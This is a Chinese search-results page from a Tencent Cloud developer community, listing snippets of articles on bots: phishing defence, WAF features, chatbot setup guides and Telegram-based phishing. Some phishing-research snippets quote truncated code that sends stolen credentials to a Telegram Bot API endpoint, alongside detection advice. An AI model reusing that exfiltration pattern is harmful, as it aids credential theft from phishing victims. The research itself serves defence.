文档建议反馈控制台
首页
学习
活动
专区
圈层
工具
MCP广场
文章/答案/技术大牛
发布

基于GitHub通知机制的钓鱼攻击与供应链安全防御研究

攻击者可通过以下方式获取控制权：凭证填充（Credential Stuffing）：利用从其他数据泄露事件中获取的邮箱/密码组合尝试登录；弱OAuth令牌：部分集成应用申请了过宽权限（如write:repo_hook...一旦控制Bot账号，攻击者即可调用GitHub REST API或GraphQL接口，以该身份创建Issue或评论。...5 多层次防御策略设计5.1 账户与认证层加固强制启用双因素认证（2FA）：建议使用FIDO2安全密钥（Passkey）替代短信或TOTP，防止会话劫持；实施SAML SSO集成：通过企业身份提供商统一管理...6.1 异常Issue创建检测通过GitHub Audit Log API监控Bot账号行为：import requestsfrom datetime import datetime, timedeltadef...账号在一小时内创建超过5个Issue，触发告警if actor.get("type") == "Bot" and count_issues_by_bot(actor["login"], repo) >

22610

waf(web安全防火墙)主要功能点

授权和认证 会话劫持防护：阻止攻击者盗用会话标识来窃取用户权限。 会话固定攻击防护：阻止攻击者以会话固定攻击方式来来窃取用户权限。...暴力破解 暴力破解防护：阻止短时间内大量尝试密码登陆的请求（单账号）。...防撞库：针对网站账号密码提交页面发起的撞库攻击进行防护，提醒网站管理员哪些帐号在发生撞库攻击时可能存在较高安全风险（多账号） 第三方防盗链 盗链防护：阻止在未经网站授权的情况下在第三方站点上引用本站点的资源...广告插入防护：针对用户侧网络通过内容劫持的方式插入非网站授权的广告或内容的行为进行检测与防护，在浏览器端移除被插入的广告内容，使其对用户不可见。...BOT可视 BOT流量预警：对Bot流量进行实时监控，以便第一时间发现异常流量并报警。

2.3K20
    • 您找到你想要的搜索结果了吗？
    是的
    没有找到

    Telegram基础设施在钓鱼攻击中的滥用机制与防御对策研究

    本文聚焦于2025年曝光的一类以Telegram为核心载体的高级钓鱼活动，系统剖析其如何利用Bot API、公开频道、WebView嵌入及消息自毁等原生功能，实现凭据窃取、会话劫持与恶意分发的闭环。...Telegram Bot API发送至攻击者控制的私有频道；部分高级变种甚至直接在Telegram WebView容器内渲染钓鱼页面，绕过浏览器安全策略，实现会话Cookie的完整窃取。...，立即尝试登录目标账户。...3.1 终端行为监控：识别异常Telegram进程企业EDR应监控以下行为：非授权用户启动Telegram Desktop；Telegram进程发起大量POST请求至api.telegram.org/bot...：对公开频道消息进行NLP分析，识别“空投”、“白名单”+“连接钱包”组合；信誉评分：对频繁被举报的Bot自动降权或暂停服务。

    34410

    玩转OpenClaw｜云上OpenClaw(Clawdbot)快速接入Discord指南

    Bot名称（如OpenClaw-AI），同意条款后点击Create按钮进行创建。...点击继续（Continue）后进行授权，即可邀请bot加入对应的Discord服务器。。添加完成的效果如下图所示：为OpenClaw配置模型接下来需要为已经完成部署的OpenClaw配置模型。...如果尚未进行模型配置，可以在此步通过命令行配置模型API Key。为OpenClaw配置模型API Key可以在Lighthouse服务器的应用管理页面进行操作。...Channel配置-接入Discord接下来进入 Select channel 步骤，通过键盘方向键选中 Discord (Bot API) ，并且回车确认。...以上示例通过 agentTurn 方式将提醒直接发送到当前 Discord 会话，适用于定时通知类场景，消息可见性更好、送达更直接。

    16.6K154

    使用ChatGPT搭建微信聊天机器人

    OpenAI账号注册 前往 OpenAI注册页面 创建账号，参考这篇 教程 可以通过虚拟手机号来接收验证码。...创建完账号则前往 API管理页面 创建一个 API Key 并保存下来，后面需要在项目中配置这个key。...然后在config.json中填入配置，以下是对默认配置的说明，可根据需要进行自定义修改： # config.json文件内容示例 { "open_ai_api_key": "YOUR API..."single_chat_reply_prefix": "[bot] ", # 私聊时自动回复的前缀，用于区分真人 "group_chat_prefix"...本地运行 如果是开发机 本地运行，直接在项目根目录下执行： python3 app.py 终端输出二维码后，使用微信进行扫码，当输出 "Start auto replying" 时表示自动回复程序已经成功运行了

    7K81

    从Java SDK看DuerOS的技能开发

    需要注意的是，DBP的Java版SDK 需要在Java 8 及以上版本运行，采用Maven作为工程管理工具，同时DBP Java SDK的升级、维护也都通过Maven进行发布，在pom.xml中添加最新版本依赖的示例如下...Application类表明了技能服务也就是bot的标识，开发者通过DBP管理平台生成的bot-id就是这里的ApplicationID，而 Appinfo类描述了终端伴侣app的软件信息，成员变量包括包括技能名称...DBP 平台进行配置。...Bot TaxBot bot; try { bot = new TaxBot(request); // 线下调试时，可以关闭签名验证...对于尝鲜的用户而言，可以尝试小技能的开发。无需编程，几分钟就可能实现一个自己的小技能。 当然，各种编程语言的DBP SDK还在持续演进中，值得期待。 ?

    1.4K20

    开发一个智能客服需要多少钱？

    所有的流程都可以通过使用即时可用的NLP服务（如Wit.ai、Api.ai或LUIS）进行智能控制。 管理NLP服务需要深入了解.NET和Node.js服务器端SDK。...通常的做法是在后端设置一个端点，根据访问令牌授权发送和接收消息。此外，您还需要以快速回复按钮或视觉卡的形式实施特定于频道的用户界面，以便通过对话参与并引导用户。...任务 工具 时间 花费 用基本表达式设置NLP服务 Wit.api, Api.ai, LUIS 8 $320.00 在现有数据的基础上对NLP服务进行培训 Wit.api, Api.ai, LUIS 40...$1,600.00 从NLP实体进行数据提取和验证 .NET, Node.js 40 $1,600.00 第4步：会话智能 会话智能是chatbot开发过程中一个重要的里程碑，很少有chatbot...chatbot开发者需要为每个对话创建一个算法，比如纯粹的决策树、状态工作流、基于时隙的算法或者一些高级的深度学习算法。该算法控制对话，并使机器人参与用户。

    7.2K00

    1分钟搭建DeepSeek增强版小程序！（支持联网搜索、图片理解、图片生成、解读链接、思维导图）

    你可以通过这个模板，按照希望DeepSeek增强的能力方向，找到合适的插件或扣子上的其他能力，打造属于自己的增强版DeepSeek。 使用效果如下： 如何发布到微信小程序呢？仅需3步即可搞定！...第二步：扣子授权 登录扣子平台(coze.cn)左侧菜单找到「扣子API」点击「授权」-「OAuth应用」右上角「创建应用」。 在弹出的页面完成以下配置，然后单击确定。...应用类型：普通 客户端类型：服务类应用 应用名称：小微智能体（这里随便写个代号即可） 勾选权限：Bot管理、团队空间、会话管理、对话，然后「创建Key」成功后会生成：公钥指纹和下载私钥文件 点击确认授权即可...应用ID：在创建成功后列表中复制 公钥：在上一步配置可以获取到，如果忘记复制了可以点击编辑然后确认进入配置查看 私钥文件：在创建key到时候会自动下载一个私钥文件，发送给微信文件助手或者自己的微信 当获取到这三个参数填入小微智能体小程序输入及上传进行...授权成功后会显示「已授权」（仅需一次授权，可以发布多个智能体）只要智能体发布API即可一键发布，发布成功后在我的智能体列表显示。

    1.2K10

    如何设计与实现 SuperScript 交互式会话引擎（附PPT）

    第二个是 API.AI，它是硅谷的一个创业公司，去年被谷歌收购，收购之后现在主要在做会话训练、会话管理，同时也接入了谷歌的语音识别方案。...基于这张图我们其实做了许多关于 Bot Engine 的尝试，因为它实际上是一个相当于中控的地方。下面我们进入今天的正题，即如何实现一个 SuperScript 会话系统。...当我们想和这个 Bot 对话时首先要传入用户的 ID，以及对话内容，然后就会通过 Reply 得到回复。...整个看起来，SuperScript 所支持的会话就是通过对应的 % 来找到对话中上下文的位置，然后进行对应的回复。这里需要强调的是，代码中的缩进并不影响执行，只是为了便于阅读。...当收到用户的问话时，系统会首先在 pre 标签的 topic 中找寻 reply，如果没有找到，则系统会通过 last reply 中获取的当前聊天的会话，从当前会话中搜索 reply，如果还没有找到，

    2.1K80

    【顶刊论文分享】识别恶意bot

    然而，由于合法的运营商（如搜索引擎等）会使用bot爬取网站上的信息，且大型研究项目也会使用bot收集数据，所以如何通过bot的行为对其进行判别变得十分重要。...为了避免不同实体使用同一地址而产生的误报，作者使用了浏览会话的概念将同一IP地址的请求进行分组。在收到一个IP的请求后会启动会话，如果该IP地址在30分钟后不再发出请求则结束会话。...图1 Aristaeus平台的整体架构 由于bot加载和执行某些资源（如支持的JavaScript API、CSS方面）的能力是由其底层平台和配置决定的，所以通过分析这些功能和行为可以识别bot的类型...其中，来自47667个IP地址的13,445,474 个请求(50.8%)对Aristaeus网站的登录页面尝试进行暴力破解。...作者使用BlindElephant[3]和WhatWeb47[4]两个开源指纹工具提供的文件路径，对Aristaeus服务器上的日志进行匹配，来判断是否为恶意bot在尝试进行指纹识别。

    1.4K20

    我用 Opencode 做了一个 FakeClawBot

    所有 Claude Code 能做的事——创建会话、发消息、执行命令、分析代码、管理文件——全部暴露成了 REST API。 这意味着什么？你可以用任何语言、任何平台去调用它。...通过 OpenCode 的自定义提供商（Custom Provider）机制，你可以把几乎任何 OpenAI 兼容的 API 服务都接进来。...在 Telegram 里发 /help，你会看到完整的命令列表： 命令 功能 /start 开始对话 /new 创建新的编程会话 /sessions 查看所有会话 /switch 切换会话 /...的"单例监听"限制 一个 Telegram Bot Token 在同一时间只能有一个进程在监听消息（getUpdates 或 Webhook）。...设计非常清晰： POST /session — 创建会话 POST /session/{id}/message — 发送消息（同步等待回复） POST /session/{id}/command —

    32310

    面向意大利主机托管客户的定向钓鱼攻击机制与防御策略研究

    “账户验证失败”通知声称“检测到异常登录尝试，请立即验证身份”，否则账户将被锁定。此策略利用用户对账户安全的担忧，促使其主动提交凭证。...email=user@domain.com）自动填入登录框，增强真实性；Telegram Bot数据外传：用户提交凭证后，数据通过HTTPS POST至中间脚本，再由Python脚本推送至攻击者控制的Telegram...3.3 数据外泄路径典型数据流如下：Victim → Fake Login Page → PHP Collector Script → Telegram Bot (via API) → Attacker...攻击者创建多个Bot，每个对应一个钓鱼活动，通过/getUpdates轮询或Webhook接收消息。...MFA，并将会话与设备指纹、IP地理位置绑定。

    21210

    玩转OpenClaw｜云上OpenClaw(Clawdbot)快速接入Slack指南

    前置准备工作OpenClaw（原Clawdbot）原生支持接入WhatsApp、Discord、Telegram、Slack等常用聊天软件，并通过这些软件与OpenClaw进行交互。...选择Bot scopes（Bot 权限），添加以下权限：权限添加完成后，点击页面上方的Install to Workspace（安装到工作区），在弹出的授权窗口中，确认授权并完成安装。...配置模型API Key为OpenClaw配置模型API Key可以直接在Lighthouse服务器的应用管理页面进行操作。...如果尚未进行模型配置，可以在此步通过命令行配置模型API Key。为OpenClaw配置模型APIKey可以在Lighthouse服务器的应用管理页面进行操作。...完成配对启动网关（Gateway）令牌验证通过后，通过远程终端登录服务器，并在终端中输入 gateway 命令并回车，启动OpenClaw网关，此时网关开始尝试与 Slack App 建立连接。

    2.2K40

    钓鱼团伙用Telegram机器人“接单”：欧洲凭证窃取进入“实时客服”时代

    攻击者利用Telegram开放的Bot API，将钓鱼活动模块化、自动化、甚至“服务化”——从模板分发、数据回传到会话接管，全部通过聊天界面完成，宛如一个地下“钓鱼SaaS平台”。...阶段2：数据捕获钓鱼页面表单提交后，数据不直接存入数据库，而是通过后端脚本（如PHP或Node.js）调用Telegram Bot API，将信息推送至私有频道：// phishing-handler.php...一旦提交，验证码同样通过Telegram回传，攻击者即可完成完整登录。“这相当于给钓鱼团伙配了个7×24小时在线的‘作战室’。”...开放API成双刃剑Telegram之所以成为钓鱼团伙的首选平台，源于其三大特性：Bot API完全开放且文档完善：开发者可轻松创建具备消息推送、按钮交互、文件传输能力的机器人；端到端加密非默认启用：普通群组和频道通信未加密...其次，虽然Telegram在国内受限，但类似Bot机制已在其他平台萌芽。例如，有黑产利用企业微信API搭建“客服机器人”，用于分发钓鱼问卷；或通过QQ频道机器人收集Steam账号信息。

    18310

    盘点 | 聊天机器人的发展状况与分类

    本文为系列文章第一篇，由AI科技评论独家首发，转载请联系授权。 目前机器学习，尤其是深度学习，已经成功的解决了图像识别的问题。...而一群更加疯狂的人在尝试用机器学习解决自然语音理解，甚至在自然语言理解的基础上，开发聊天机器人。 ? 通过这三个服务, 就可以构建聊天机器人并且发布上线。...Step 1 - 在Telegram上注册账号 通过 BotFather创建Bot。 ?...Step 2 - 在Botframework上注册账号 创建一个Bot, 同时下载Botframework提供的SDK／Sample( Node.js|C#)，连接到Telegram。 ?...Bot Engine不能做到回复所有问题，因为基于规则的原因，能覆盖的聊天内容范围小，当在Bot Engine中，得不到好的答案或者没有命中一个规则时，就请求背后的Bot Model.

    3.1K80

    钓鱼攻击之后，你的密码去了哪里？——一场横跨暗网、Telegram与企业内网的数据黑市追踪

    其中，Telegram因其开放的Bot API、端到端加密（可选）、以及极低的运营门槛，成为当前最主流的“数据接收器”。...研究人员在2025年12月捕获的一个仿冒招商银行的钓鱼页面中，发现了如下代码片段：// 钓鱼表单提交后执行fetch('https://api.telegram.org/bot/sendMessage...即使原密码被重置，攻击者仍可通过合法API接口操作数据。...“很多企业以为开了MFA就万事大吉，但钓鱼可以绕过它，”芦笛强调，“比如通过伪造的MFA确认页面诱导用户点击‘Approve’，或者利用OAuth授权钓鱼——让用户授权一个恶意应用，从而获得长期访问权。...攻击者不仅盗取了用户积分，还利用实名信息尝试注册网贷账户。

    17010

    将DeepSeek接入微信聊天，让你随时随地享受AI的乐趣

    GPT3.5/GPT4.0/Claude/文心一言/讯飞星火/通义千问/Gemini/GLM-4/Claude/LinkAI， 支持能力：处理文本、语音和图片，访问操作系统和互联网 支持知识库：基于自有知识库进行定制企业智能客服...1.1 申请测试免费的账号 打开连接（需要手机号登录）：https://platform.deepseek.com/api_keys 点击 创建 API key 按钮，输入名称之后点击创建按钮 你将会得到一个...": "YOUR API KEY", # 填入上面创建的 OpenAI API KEY "model": "gpt-3.5-turbo",...# 私聊时自动回复的前缀，用于区分真人 "group_chat_prefix": ["@bot"], # 群聊时包含该前缀则会触发机器人回复 "...Link-Ai是根据会话Token收费的，但是可以通过积分免费使用。

    1.8K10

    钓鱼攻击中窃取数据的流转路径与防御机制研究

    2.2 Telegram Bot 成为主流回传通道当前绝大多数钓鱼页面嵌入Telegram Bot API实现即时数据推送。...攻击者首先在Telegram上创建Bot并获取token，随后在钓鱼脚本中调用Telegram的sendMessage接口。...后台通常具备以下功能：按时间、地理位置、浏览器指纹过滤记录；自动验证信用卡有效性（通过小额预授权）；批量导出CSV格式凭证供后续使用；集成代理轮换以规避IP封禁。...此类攻击难以被传统安全产品发现，因其所有操作均通过合法会话进行，无恶意载荷、无异常IP（常使用受害者所在国家代理）。...有效的应对策略必须覆盖全生命周期：在事前通过MFA和密码管理阻断初始利用；在事中通过行为分析识别异常会话；在事后通过自动化响应快速遏制扩散。

    18410
    点击加载更多

    相关资讯

    热门标签

    更多标签

    活动推荐

      运营活动

      活动名称
      广告关闭

      腾讯云开发者

      扫码关注腾讯云开发者

      扫码关注腾讯云开发者

      领取腾讯云代金券

      热门产品

      热门推荐

      更多推荐

      Copyright © 2013 - 2026 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有

      深圳市腾讯计算机系统有限公司 ICP备案/许可证号：粤B2-20090059 粤公网安备44030502008569号

      腾讯云计算（北京）有限责任公司 京ICP证150476号 | 京ICP备11018762号

      领券